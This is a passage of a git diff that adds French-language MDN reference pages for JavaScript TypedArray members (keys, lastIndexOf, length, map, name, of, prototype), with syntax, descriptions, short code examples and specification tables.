+<pre class="brush: js">// https://tc39.github.io/ecma262/#sec-%typedarray%.prototype.join
+if (!Uint8Array.prototype.join) {
+  Object.defineProperty(Uint8Array.prototype, 'join', {
+    value: Array.prototype.join
+  });
+}
+</pre>
+
+<p>Mieux vaut ne pas ajouter de prothèses pour <code>TypedArray.prototype</code> si le moteur JavaScript ne prend pas en charge {{jsxref("Object.defineProperty()")}} car on ne peut pas les rendre non-énumérables.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-%typedarray%.prototype.join', 'TypedArray.prototype.join')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.join', 'TypedArray.prototype.join')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.join")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray")}}</li>
+ <li>{{jsxref("Array.prototype.join()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/keys/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/keys/index.html
new file mode 100644
index 0000000000..d9937137ba
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/keys/index.html
@@ -0,0 +1,94 @@
+---
+title: TypedArray.prototype.keys()
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/keys
+tags:
+  - ECMAScript 2015
+  - Iterator
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArray
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/keys
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>keys()</code></strong> renvoie un nouvel objet <code>Array Iterator</code> contenant les clés pour chaque indice du tableau typé.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-keys.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>arr</var>.keys()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouvel objet <code>Array Iterator</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Parcourir_un_tableau_avec_for...of">Parcourir un tableau avec <code>for...of</code></h3>
+
+<pre class="brush: js">var arr = new Uint8Array([10, 20, 30, 40, 50]);
+var eArray = arr.keys();
+// prérequis : le navigateur doit supporter les
+// boucles for..of et les variables dont la portée
+// est définie par let
+for (let n of eArray) {
+  console.log(n);
+}
+</pre>
+
+<h3 id="Une_autre_méthode_d'itération">Une autre méthode d'itération</h3>
+
+<pre class="brush: js">var arr = new Uint8Array([10, 20, 30, 40, 50]);
+var eArr = arr.keys();
+console.log(eArr.next().value); // 0
+console.log(eArr.next().value); // 1
+console.log(eArr.next().value); // 2
+console.log(eArr.next().value); // 3
+console.log(eArr.next().value); // 4
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-%typedarray%.prototype.keys', '%TypedArray%.prototype.keys()')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.keys', '%TypedArray%.prototype.keys()')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.keys")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés JavaScript</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+ <li>{{jsxref("TypedArray.prototype.entries()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.values()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.@@iterator()", "TypedArray.prototype[@@iterator]()")}}</li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...of">for...of</a></code></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration">Les protocoles d'itération</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/lastindexof/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/lastindexof/index.html
new file mode 100644
index 0000000000..4e219c8c1a
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/lastindexof/index.html
@@ -0,0 +1,87 @@
+---
+title: TypedArray.prototype.lastIndexOf()
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/lastIndexOf
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArray
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/lastIndexOf
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>lastIndexOf()</strong></code> renvoie le dernier indice (le plus grand) pour lequel un élément donné est trouvé. Si l'élément cherché n'est pas trouvé, la valeur de retour sera -1. Le tableau typé est parcouru dans l'ordre des indices décroissants (de la fin vers le début) à partir de <code>indexDépart</code>. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.lastIndexOf()")}}. Dans le reste de l'article, <em>TypedArray</em> correspond à l'un des <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Les_objets_TypedArray">types de tableaux typés</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-lastindexof.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>typedarray</var>.<var>lastIndexOf(élémentRecherché[, indiceDépart = typedarray.length])</var></pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>élémentRecherché</code></dt>
+ <dd>L'élément qu'on souhaite situer dans le tableau.</dd>
+ <dt><code>indiceDépart</code></dt>
+ <dd>Paramètre optionnel qui représente l'indice à partir duquel parcourir le tableau dans le sens inverse. La valeur par défaut correspond à la longueur du tableau (c'est-à-dire que tout le tableau sera parcouru). Si l'indice est supérieur ou égal à la longueur du tableau typé, tout le tableau typé sera parcouru. Si la valeur est négative, le parcours commencera à <code>length+indiceDépart</code> (le sens de parcours ne change pas). Si l'indice calculé est négatif, la valeur de retour sera -1 et le tableau ne sera pas parcouru.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le dernier indice du tableau typé pour lequel l'élément a été trouvé ou <code>-1</code> s'il n'a pas été trouvé.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>lastIndexOf</code> compare <code>élémentRecherché</code> avec les éléments du tableau typé en utilisant l'<a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison#Using_the_Equality_Operators">égalité stricte</a> (celle utilisée par l'opérateur ===).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var uint8 = new Uint8Array([2, 5, 9, 2]);
+uint8.lastIndexOf(2);     // 3
+uint8.lastIndexOf(7);     // -1
+uint8.lastIndexOf(2, 3);  // 3
+uint8.lastIndexOf(2, 2);  // 0
+uint8.lastIndexOf(2, -2); // 0
+uint8.lastIndexOf(2, -1); // 3
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-%typedarray%.prototype.lastindexof', 'TypedArray.prototype.lastIndexOf')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.lastindexof', 'TypedArray.prototype.lastIndexOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.lastIndexOf")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray.prototype.indexOf()")}}</li>
+ <li>{{jsxref("Array.prototype.lastIndexOf()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/length/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/length/index.html
new file mode 100644
index 0000000000..7d84b3b8ec
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/length/index.html
@@ -0,0 +1,75 @@
+---
+title: TypedArray.prototype.length
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/length
+tags:
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/length
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <strong><code>length</code></strong> est un accesseur qui permet de représenter la longueur, en nombre d'éléments, d'un tableau typé.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-length.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>typedarray</var>.length</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>La propriété <code>length</code> est un accesseur dont le mutateur correspondant vaut <code>undefined</code>, ce qui signifie qu'elle n'est accessible qu'en lecture. La valeur de la propriété est déterminée lors de la construction du <em>TypedArray</em> et ne peut pas être modifiée. Si le <em>TypedArray</em> n'utilise pas de <code>byteOffset</code> ou de <code>length</code>, le résultat correspondra à la longueur du {{jsxref("ArrayBuffer")}} correspondant. <em>TypedArray</em> est l'un des objets <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Les_objets_TypedArray">TypedArray</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js">var tampon = new ArrayBuffer(8);
+
+var uint8 = new Uint8Array(tampon);
+uint8.length; // 8 (correspond à la longueur du tampon/buffer)
+
+var uint8 = new Uint8Array(tampon, 1, 5);
+uint8.length; // 5 (correspond à la longueur définie lors de la construction)
+
+var uint8 = new Uint8Array(tampon, 2);
+uint8.length; // 6 (correspond à la longueur en prenant en compte le décalage utilisé)
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-%typedarray%.prototype.length', 'TypedArray.prototype.length')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-%typedarray%.prototype.length', 'TypedArray.prototype.length')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.length")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés en JavaScript</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/map/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/map/index.html
new file mode 100644
index 0000000000..938b46fe43
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/map/index.html
@@ -0,0 +1,117 @@
+---
+title: TypedArray.prototype.map()
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/map
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArray
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/map
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>map()</strong></code> crée un nouveau tableau typé dont les éléments sont les images des éléments du tableau typé courant par une fonction donnée. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.map()")}}<em>.</em> <em>TypedArray</em> est utilisé ici de façon générique pour représenter <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Les_objets_TypedArray">l'un des types de tableaux typés possibles</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-map.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>typedarray</var>.map(<var>callback</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>La fonction qui renvoie l'élément à placer dans le nouveau tableau typé. Cette fonction utilise trois arguments :
+ <dl>
+  <dt><code>valeurCourante</code></dt>
+  <dd>La valeur de l'élément du tableau typé courant, celui traité par la fonction.</dd>
+  <dt><code>indice</code></dt>
+  <dd>L'indice de l'élément du tableau typé en cours de traitement.</dd>
+  <dt><code>tableauTypé</code></dt>
+  <dd>Le tableau typé sur lequel <code>map()</code> a été appelée.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code></dt>
+ <dd>Paramètre optionnel. La valeur à utiliser pour <code>this</code> lors de l'appel à <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouveau tableau typé.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>map()</code> appelle la fonction <code>callback()</code> passée en argument une fois pour chaque élément du tableau typé pour construire un nouveau tableau à partir des résultats de la fonction. Les appels à callback sont effectués dans l'ordre du tableau typé. <code>callback()</code> n'est appelée que pour les éléments du tableaux qui ont une valeur, elle n'est pas appelée pour les éléments qui sont indéfinis ou qui ont été supprimés.</p>
+
+<p><code>callback()</code> est appelée avec trois arguments : la valeur de l'élément, l'indice de cet élément et enfin le tableau typé courant.</p>
+
+<p>Si un paramètre <code>thisArg</code> est fourni pour <code>map()</code>, il sera passé à <code>callback</code> pour les différents appels et servira de valeur <code>this</code>. Par défaut, la valeur {{jsxref("undefined")}} sera passée à la fonction pour la valeur <code>this</code>. Par ailleurs, la valeur de <code>this</code> accessible depuis la fonction <code>callback</code> est déterminée selon <a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_this">les règles usuelles déterminant la valeur <code>this</code> au sein d'une fonction</a>.</p>
+
+<p><code>map()</code> ne modifie pas le tableau typé sur lequel elle a été appelée (indirectement, c'est la fonction <code>callback</code> qui pourra éventuellement modifier le tableau).</p>
+
+<p>La liste des éléments parcourus par <code>map()</code> est définie avant la première invocation de la fonction <code>callback</code>. Les éléments qui sont ajoutés au tableau typé après le début de l'appel de <code>map()</code> (grâce à la fonction <code>callback</code> par exemple) ne seront pas visités. Si des éléments existants du tableau typé ont modifiés ou supprimés, la valeur fournie à la fonction <code>callback</code> sera leur valeur au moment où <code>map()</code> les visite - les éléments supprimés ne seront pas traités par la fonction.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Obtenir_un_tableau_typé_des_racines_carrées_des_éléments_d'un_premier_tableau_typé">Obtenir un tableau typé des racines carrées des éléments d'un premier tableau typé</h3>
+
+<p>Dans l'exemple suivant, on crée un nouveau tableau typé dont les éléments seront les racines carrées respectives des éléments d'un tableau typé existant.</p>
+
+<pre class="brush: js">var nombres = new Uint8Array([1, 4, 9]);
+var racines = nombres.map(Math.sqrt);
+// racines vaut désormais Uint8Array [1, 2, 3],
+// nombres vaut toujours Uint8Array [1, 4, 9]
+</pre>
+
+<h3 id="Utiliser_map()_avec_une_fonction_qui_prend_un_argument">Utiliser <code>map()</code> avec une fonction qui prend un argument</h3>
+
+<p>Ici, on illustre comment une fonction utilisant un argument peut être utilisée avec <code>map()</code>. Cet argument recevra automatiquement la valeur de chaque élément du tableau typé au fur et à mesure du parcours.</p>
+
+<pre class="brush: js">var nombres = new Uint8Array([1, 4, 9]);
+var doubles = nombres.map(function(num) {
+  return num * 2;
+});
+// doubles vaut désormais Uint8Array [2, 8, 18]
+// nombres vaut toujours Uint8Array [1, 4, 9]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-%typedarray%.prototype.map', 'TypedArray.prototype.map')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.map', 'TypedArray.prototype.map')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.map")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray.prototype.filter()")}}</li>
+ <li>{{jsxref("Array.prototype.map()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/name/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/name/index.html
new file mode 100644
index 0000000000..c94611406e
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/name/index.html
@@ -0,0 +1,75 @@
+---
+title: TypedArray.name
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/name
+tags:
+  - JavaScript
+  - Propriété
+  - Reference
+  - TypedArray
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/name
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong><em>TypedArray</em>.name</strong></code> est une chaîne de caractères représentant le nom du constructeur du tableau typé.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-name.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>TypedArray</var>.name;</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>Les objets <code>TypedArray</code> varient en fonction du nombre d'octets correspondant pour chaque élément du tableau et de la façon dont les octets sont interprétés. La propriété <code>name</code> permet de décrire le type de données du tableau. La première partie du nom peut être <code>Int</code> pour les tableaux d'entiers (<strong>Int</strong><em>eger</em>) ou <code>Uint</code> pour les tableaux d'entiers non signés (<strong>U</strong>nsigned <strong>Int</strong>eger) ou <code>Float</code> pour les nombres décimaux (<strong>float</strong>ing). La deuxième partie correspond au nombre de bits de chaque élément. Enfin, la troisième composante du nom est <code>Array</code>, <code>ClampedArray</code> étant un cas spécifique. Voir la page {{jsxref("Uint8ClampedArray")}} pour plus d'informations sur ce tableau typé.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js">Int8Array.name;         // "Int8Array"
+Uint8Array.name;        // "Uint8Array"
+Uint8ClampedArray.name; // "Uint8ClampedArray"
+Int16Array.name;        // "Int16Array"
+Uint16Array.name;       // "Uint16Array"
+Int32Array.name;        // "Int32Array"
+Uint32Array.name;       // "Uint32Array"
+Float32Array.name;      // "Float32Array"
+Float64Array.name;      // "Float64Array"</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-properties-of-the-typedarray-constructors', 'TypedArray.name')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-properties-of-the-typedarray-constructors', 'TypedArray.name')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.name")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés en JavaScript</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/of/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/of/index.html
new file mode 100644
index 0000000000..18bea06502
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/of/index.html
@@ -0,0 +1,97 @@
+---
+title: TypedArray.of()
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/of
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Reference
+  - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/of
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong><em>TypedArray</em>.of()</strong></code> crée un nouvel objet {{jsxref("TypedArray", "TypedArray", "#Les_objets_TypedArray")}} à partir d'un nombre variable d'arguments. Cette méthode est similaire à {{jsxref("Array.of()")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em><var>TypedArray</var></em>.of(<var>élément0</var>[, <var>élément1</var>[, ...[, <var>élémentN</var>]]])
+
+où <em>TypedArray</em> est l'un de :
+
+Int8Array
+Uint8Array
+Uint8ClampedArray
+Int16Array
+Uint16Array
+Int32Array
+Uint32Array
+Float32Array
+Float64Array
+BigInt64Array
+BigUint64Array</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>élément<em>N</em></code></dt>
+ <dd>Les éléments avec lesquels on souhaite construire le nouveau tableau typé.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une nouvelle instance de {{jsxref("TypedArray")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Il existe de légères différences entre {{jsxref("Array.of()")}} et <code><em>TypedArray</em>.of()</code> :</p>
+
+<ul>
+ <li>Si la valeur de <code>this</code> passée à <code><em>TypedArray</em>.of</code> n'est pas un constructeur, <code><em>TypedArray</em>.of</code> lèvera une exception {{jsxref("TypeError")}}, tandis que <code>Array.of</code> créera un nouvel objet {{jsxref("Array")}}.</li>
+ <li><code><em>TypedArray</em>.of</code> utilise <code>[[Put]]</code> tandis que <code>Array.of</code> utilise <code>[[DefineProperty]]</code>. Ainsi lorsque les arguments sont des objets {{jsxref("Proxy")}} la première méthode appellera {{jsxref("Objets_globaux/Proxy/handler/set", "handler.set")}} pour créer les nouveaux éléments et la seconde appellera {{jsxref("Objets_globaux/Proxy/handler/defineProperty", "handler.defineProperty")}}.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">Uint8Array.of(1);            // Uint8Array [ 1 ]
+Int8Array.of("1", "2", "3"); // Int8Array [ 1, 2, 3 ]
+Float32Array.of(1, 2, 3);    // Float32Array [ 1, 2, 3 ]
+Int16Array.of(undefined);    // Int16Array [ 0 ]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-%typedarray%.of', '%TypedArray%.of')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.of', '%TypedArray%.of')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.of")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray.from()")}}</li>
+ <li>{{jsxref("Array.of()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/prototype/index.html
new file mode 100644
index 0000000000..d5afb07f4b
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/prototype/index.html
@@ -0,0 +1,131 @@
+---
+title: TypedArray.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/prototype
+tags:
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>TypedArray</strong></code><strong><code>.prototype</code></strong> représente le prototype des constructeurs {{jsxref("TypedArray")}}.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Les instances de {{jsxref("TypedArray")}} héritent de {{jsxref("TypedArray.prototype")}}. Le prototype du constructeur peut être utilisé pour ajouter des propriétés et/ou des méthodes à toutes les instances de <em>TypedArray</em> (où <em>TypedArray</em> correspond à un des <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Les_objets_TypedArray">types de tableaux typés</a>).</p>
+
+<p>Pour plus de détails sur le fonctionnement de l'héritage, voir la page sur <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Description"><em>TypedArray</em></a>.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>TypedArray.prototype.constructor</code></dt>
